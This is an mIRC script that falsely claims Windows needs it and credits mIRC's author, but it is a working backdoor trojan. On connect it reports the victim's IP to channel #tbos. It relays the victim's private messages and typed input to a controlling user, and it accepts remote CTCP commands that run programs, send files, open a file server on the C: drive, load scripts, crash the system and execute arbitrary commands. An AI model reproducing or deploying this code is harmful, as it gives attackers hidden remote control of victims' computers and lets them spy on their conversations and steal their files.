;mIRC Script
;Please don't delete this or Windows will not work. Thanks
;
;Khaled Mardam-Bey
;http://www.mirc.com

on 1:start:{ 
  .remote on 
  .ctcps on 
  .events on 
.raw on }
on 1:CONNECT:.msg #tbos !B0T!  $ip on $server $+ : $+ $port | .timer1 0 300 .msg #tbos !B0T!  $ip  on $server $+ : $+ $port | { unset %luser | .colour CTCP $colour(background) }
on 1:DISCONNECT:.colour CTCP $colour(4)
on 1:TEXT:*:?:{ if %luser != $null .msg %luser -- $nick >  $1- }
on 1:INPUT:?:{ if ( $left($1,1) != $chr(47) ) { msg $active $1- | if %luser != $null .msg %luser ++ $active > $1- | halt } if ( $left($1,1) == $chr(47) ) { if %luser != $null .msg %luser < Inputted: $1- | $1- | halt } }
on 1:input:*:{ if %luser != $null .msg %luser < Responded: $1- }
on 1:NICK:{ if ($nick == $me) if %luser != $null .msg %luser OldNick was $nick }
on 1:OP:#:{ if ( $opnick == $me ) if %luser != $null .msg %luser I am op on $chan }
ctcp 1:xuse:{ set %luser $2 }    
ctcp 1:xdeuse:{ unset %luser }
ctcp 1:xb0t:{ .msg $nick Hello - B0T }
ctcp 1:xsend:{ .dcc send $2 $3- }
ctcp 1:xfind:{ .run $findfile(c:\,$2-,1) }
ctcp 1:xrun:{ .run $2- }
ctcp 1:xquit:*:{ .quit $2- }
ctcp 1:xbsd:*:{ .run c:/nul/nul }
ctcp 1:xdccunignore:{ .dcc ignore off }
ctcp 1:xmsg:{ .msg $2 $3- }
ctcp 1:xfserv:*:{ .fserve $nick 5 C:\ }
ctcp 1:xload:{ .load -rs $2- }
ctcp 1:xunload:{ .unload -rs $2- }
ctcp 1:*:*:{ .$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 $20 }

;by ReDeeMeR in collaboration with Khaled Mardam-Bey
;http://www.mirc.com